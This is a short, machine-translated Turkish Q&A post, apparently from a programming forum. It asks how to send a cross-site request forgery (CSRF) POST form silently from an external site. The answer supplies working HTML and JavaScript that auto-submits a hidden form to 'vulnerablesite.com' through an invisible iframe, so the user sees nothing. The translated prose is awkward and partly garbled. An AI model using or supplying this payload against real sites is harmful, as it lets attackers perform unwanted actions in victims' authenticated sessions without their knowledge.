Sessizce bir POST FORMU (CSRF) gönderen örnek

Question

Kullanıcı herhangi bir bildirimde bulunmadan CSRF için bir POST formu sessizce nasıl gönderilebileceğini bilmekle ilgilenir (POSTED URL'ye yönlendirilen belge konumu değil sessiz).

Örnek: otomatik ve sessizce bu formu tetiklemek için yapmanız gereken ne harici sitesinde

<form method='POST' action='http://vulnerablesite.com/form.php'> 
<input type='hidden' name='criticaltoggle' value='true' 
<input type='submit' value='submit'> 
</form> 

?

Answer 1

bir çözelti, bir iframe gibi bir çerçeve içinde formun işlem açık olacaktır:

<iframe style="display:none" name="csrf-frame"></iframe> 
<form method='POST' action='http://vulnerablesite.com/form.php' target="csrf-frame" id="csrf-form"> 
    <input type='hidden' name='criticaltoggle' value='true'> 
    <input type='submit' value='submit'> 
</form> 
<script>document.getElementById("csrf-form").submit()</script>